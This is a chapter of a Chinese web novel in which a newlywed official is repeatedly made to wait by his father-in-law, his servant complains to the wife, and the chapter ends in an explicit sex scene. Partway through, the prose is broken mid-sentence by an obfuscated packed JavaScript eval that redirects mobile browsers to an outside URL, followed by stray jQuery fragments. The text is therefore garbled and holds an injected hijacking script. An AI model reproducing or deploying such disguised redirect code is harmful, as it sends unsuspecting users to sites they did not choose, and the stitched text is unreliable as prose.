50. 立规矩

作品:《我只是您妹妹.

    商府门前,范管家和一小厮直往街角处张望。


    京城已入了隆冬,连着下了几个月的雪,街角两旁脏污的残雪堆成小山,连府门两旁的石狮子也叫厚厚的雪压得看不见。


    小厮双手踹在厚实的袄子里,等得脸蛋通红,一张嘴便是一口白气,“范叔,这都什么时辰了,公子怎么还未下值?莫不是……出事了吧?”


    “啪!”范管家一巴掌拍在他后脑勺上,“呸呸呸!你这狗嘴里吐不出象牙的,瞎叫唤些什么,郎君吉人天相,怎么会出事?”


    小厮噘着嘴捂着脑袋嘀咕:“哎呀!小的也是担心公子,才口不择言了些,范叔你老打我作甚?”


    范管家摇了摇头,将小厮头上的瓜皮帽戴正,拽着他耳朵道:“你小子还想诓我?只怕是你饿了罢!”


    那小厮被揪着耳朵,哎呀哎呀地直叫唤,从范管家手里逃脱后,才离他远远地替自己辩解。


    “半大小子,吃穷老子!小的是饿了不假,但夫人未必没饿着!您没瞧见,方才夫人身边的灵犀都催了几次了!


    “公子今夜到底回不回府,好歹差人留个话儿啊,没得让夫人饿着肚子等他,这算哪门子的事儿?”


    范管家嗤笑一声,“得得得,说你一句,你便能从肚子里翻出十句话等我!夫人用不着你担心,饿着了,郎君比你心疼!”


    一老一少正拌嘴,街角处传来一阵不小的动静,朦胧夜色中一辆马车行至府门前。


    观言从马车上跳下来,还未站定,范管家已迎了上来,搀扶着商文载下马车,而那小厮则扭身窜进门内,知会时丛若去了。


    范管家帮商文载挥去肩上的落雪,试探道:“郎君怎么今日又晚归,难道是——”


    “下值后被时老爷强留了一个多时辰,可不就得这会子才能回了!”观言没好气地咕哝。


    商文载被他岳丈大人留了多久,他观言就跟着受罪,在时府的冰天雪地里挨冻了多久。


    他对时老爷生出无限的怨怼,但那是自家公子都奈何不得的人,故而他也只敢咕哝一句。


    “这、这个月来已是第四回了,怎么总是……”范管家话到一半,看着无奈笑着的自家郎君,再不好继续。


    “行了,都进去罢。”商文载裹紧氅衣,提步入府而去。


    他带着一身寒气入厢房中时,一道影子向他扑来,他有所预料,忙张开双臂,笑着将时丛若圈在怀里。


    “若若可是饿着了?”


    商文载捏了捏她的脸,后者顿时感到一阵冰凉,忙从他怀里躲开,却被他极快地、更紧地揽在怀里。


    时丛若瓮声瓮气:“早些时候灵犀给了我一个柿饼垫肚子,这会儿还不饿呢。只是……夫君,你怎么又晚归?”


    商文载下巴抵在她头顶,愣了愣才道:“临近年关,事情多了些。”


    这时,立在门外的观言听了,嘴皮子又发痒,哆嗦几下,到底没敢多嘴。他气恼得在门外狠狠跺了几脚,自以为动静不大,里面的两人却听得清楚。


    新婚才三月,如今还当着下人的面抱在一块,时丛若一时间贴在商文载胸前暗暗红了脸,忙撑着他胸前往后躲。


    两人正在嬉闹,灵犀也来了。


    “小姐——”她看到商文载,才惊觉自己又忘了,连忙换了称呼,“夫、夫人,公子,晚食已备好了。”


    商府晚食用得简单,两人饭毕,灵犀招呼着几个下人撤下,自己也跟着离开。


    观言则没什么眼力见儿似的,赖在厢房不走,直到下人端来两盏茶水,仍像个吉祥物似的立在商文载身侧。


    他恼恨极了,只恨方才进屋的时候怎么一根筋搭错了,没将时老爷磋磨自己女婿、还害得他也跟着受累的事情说出来。


    这会儿公子和夫人有一搭没一搭地扯闲话,偏不往时老爷身上扯,他等了这许久也没个插话的机会。


    他家公子也是个可怜又可恨的,他观言不怕得罪时老爷,处处为他着想,还想着跟夫人告状,他可倒好,打碎了牙只管往肚子里咽。


    这会儿还捏了一块云片糕,云淡风轻,没事儿人似的往夫人嘴里送。


    窝囊得很!


    观言气得眼睛不是眼睛,鼻子不是鼻子,没奈何地“哼”了一声。


    “今晚无事,你不必候着了,下去吧!”商文载一面对观言说着,一面又捏了一块云片糕往时丛若嘴里送。


    她已被连着喂了好几块,方才还用了晚食的,哪里会饿?便躲开他递来的糕点,抽空问观言:“哪个小子又招惹你了?”


    观言迈出去一步的脚又回到原地,“夫人说笑了,观言快言快语,是个爽利人,自然没哪个小子敢来招惹我的!”


    时丛若想起上回他在时府和平安拌嘴的场面,笑了笑,调侃他道:“那上回你和父亲身边的平安拌嘴,想来……便是你主动招惹他的了?”


    “夫人这是什么话?可不能凭空侮我清白!那平安可是个不折不扣的惹祸精,今日他又做错了事,我还看见老管家骂他呢!”


    “今日?”时丛若转头看向商文载,他吃了她不吃的糕点,甜得发腻,正慢悠悠地呷了一口茶。


    放下茶盏才不紧不慢道:“岳父大人新得了一副字画,邀我过府上观赏一番。”


    “天寒地冻的,有甚么了不得地字画非得让你去一趟?”


    商文载看她气得鼓起腮帮子,手不自觉地凑过去又想捏住,却被她扭脸躲开。


    敷衍道:“想来……定然极为珍贵的。”


    观言终于有了个插嘴的机会,嘿嘿一笑后道:“那字画不但珍贵,数量也十分客观呢!”


    他阴阳怪气一通后,才觉得着实不妥,但时丛若望着他,一副等他继续的模样,自家公子也跟往日不同,没半分拦他的意思。


    既然不拦住他,他还有甚么顾虑?


    “这几个月时老爷想来得了许多奇珍异宝,不然也不会总在公子下值后堵着,非让公子过府上去了!且不说前几个月,光这个月就拦了公子四回呢!”


    时丛若一脸茫然,看向商文载:“甚、甚么意思?”


    商文载又喝一口茶,显然不打算陈明,但仍旧没拦着身后的观言。


    观言哪晓得自家公子暗戳戳的心思,还以为他照旧要打碎了牙吞进肚子,生怕明日或者后日又要跟着他被时老爷立规矩,连忙出声。


    “夫人你可心疼心疼公子吧,光这个月就被时老爷叫过去四回,要么说是鉴赏字画,要么说有公务相商,回回扯着幌子,借口次次不同。


    “可不管哪回都得让公子等他至少一个时辰,前些日子倒还好,好歹有杯茶水,这两次连口水都没得喝!


    “冰天雪地的,冻得人瑟瑟发抖,让公子跟木头人似的立在院子里等,传出去了,还不得让别人笑掉大牙?


    “便是寻常人家婆母给媳妇立规矩,也没有这样立的,我家公子还是他的学生呢,如今亲上加亲,怎么反倒磋磨起人来了!”


    商文载不知是没拦住,还是根本没想拦他,他嘴皮子利索,三言两语便将时老爷的“恶行”倒了个干净。


    观言又道:“虽说夫人您是当初公子使了心眼,才从时老爷手里得到的,他心里有气,但这都快半年了,木已成舟,不知还气恼些什么!”


    他站在商文载身后,没看到自家公子越来越黑的脸,等说完,商文载才冲他挥了挥手。


    “今日脑子冻坏了?怎么越来越没规矩!退下!”


    “哼!退下就退下!”


    观言噘着嘴,不情不愿地退下,只心里暗骂:也不知是谁脑子冻坏了,我为你出头诉苦,怎反倒骂起我来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277611|193818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了!哼!


    商文载眸光从观言离去的背影上刚抽回来,时丛若已冷了脸站起身来,气冲冲直往门外走。


    “娘子去哪里?”


    时丛若挣脱商文载拉住她的手,气哼哼,“我现在就去为你出头!我要去找我娘,让她好好管管我爹爹,太不像话了!”


    商文载轻笑,从背后抱住她,在她耳边可怜兮兮道:“天都黑了,你大晚上带着人去大闹时府为我讨公道,只怕到时候我公道没讨回来,明日一早满京城皆知,时家的新姑爷被岳父立了规矩,上值之时,众人都得围着我嘲笑。”


    时丛若在他怀里转过身,望着他的眼睛,满脸为难,“那、那我明日再去好了……”


    商文载退后一步,抬手作了一揖,“那就有劳娘子,明日为为夫做主了!”


    时丛若被他逗得“噗嗤”一声笑出来,他上前再次将她揽在怀里,意有所指,“天色不早了,明日有明日的事,今晚也莫要辜负了良宵……”


    “啊——”


    他话音刚落,便打横抱起时丛若,后者惊呼出声,旋即被置于被褥之上,未及反应,口中的轻呼便被他尽数吞去。


    “嗯……”不知何时,时丛若的衣裳已半解,露出两个莹白的肩膀。


    甫一褪去外衣,自然该感到寒冷的,却不知为何,时丛若只觉得一股热意爬上她双颊,自她耳边流过,又经由腰侧直往脚下窜。


    她外衣落在榻下,里衣半开,发丝和呼吸一齐凌乱,反观商文载却衣衫齐整,游刃有余地撑在她身子两边。


    她忽然觉得不公,心头一阵气恼,便抬脚抵在他腰腹上,不让他往前。


    兴许是那股热意一直到了她脚尖,连带着他也跟着一阵战栗。


    他不舍地离了她的嘴唇,望着她两颊上的潮红,觉得她羞怯躲避的模样实在可爱得紧。


    一面迎着她混乱的呼吸,胡乱地往她嘴唇上、鼻尖上、眼睛上啄,一面握着她白嫩小巧的脚有一搭没一搭地揉,揉得时丛若呼吸更乱,脸也更红,耳根子发烫得快要滴血。


    “嗯……”他指腹的薄茧刮过她脚心,痒意磋磨得她连连将脚从他手里抽出。


    她顿时感到劫后余生,谁想到商文载轻笑一声,早已吻到她脖颈,留下一枚枚红痕。


    “夫君……”她不知道要说些什么,也不知喊他作甚,只一个劲地唤他。


    商文载从她脖子里抬起头,笑着蹭了蹭她鼻尖上的痣,又在她唇上轻轻一啄。


    “嗯,为夫听着,若若乖,再唤我……”


    时丛若不知自己的里衣和肚兜,不知何时都已被这人扒了个干净,竟还乖乖地又喊:“夫君……呜——”


    她的唇再次被他堵住,与此同时,脚腕也被他轻轻握住,而后往一旁扯开。


    商文载覆上去,揽她入怀。


    “嗯……疼……你疼疼我罢……”


    “嘶……乖若若,你也疼疼我……”


    商文载拖着她的头,闻言,用一只手揉了揉她的耳朵,她果然歪向旁边,喘气更甚,也叫他忍得不如先前厉害。


    畅通无阻,如鱼得水。


    许久之后,烛光几下闪烁后,火焰猛然抖动,红烛亲身经历这酣畅淋漓的热烈,垂下一行行泪水……


    商文载扯过被褥,将时丛若紧紧裹在里面,她双眼紧闭,呼呼直喘气,在被他拥入怀中时,才半睁开眼。


    商文载低头瞧她,喑哑着嗓子问:“若儿累了?”


    时丛若逞强,不服气道:“才没有——”


    “既如此,那便再——”


    “累了累了,今晚再不能要了……”


    他的轻笑声飘在她头顶,她更觉得无地自容,便用胳膊撑起身,伏倒在他身上,将脸深深埋入他脖颈间。


    “哼!讨厌!”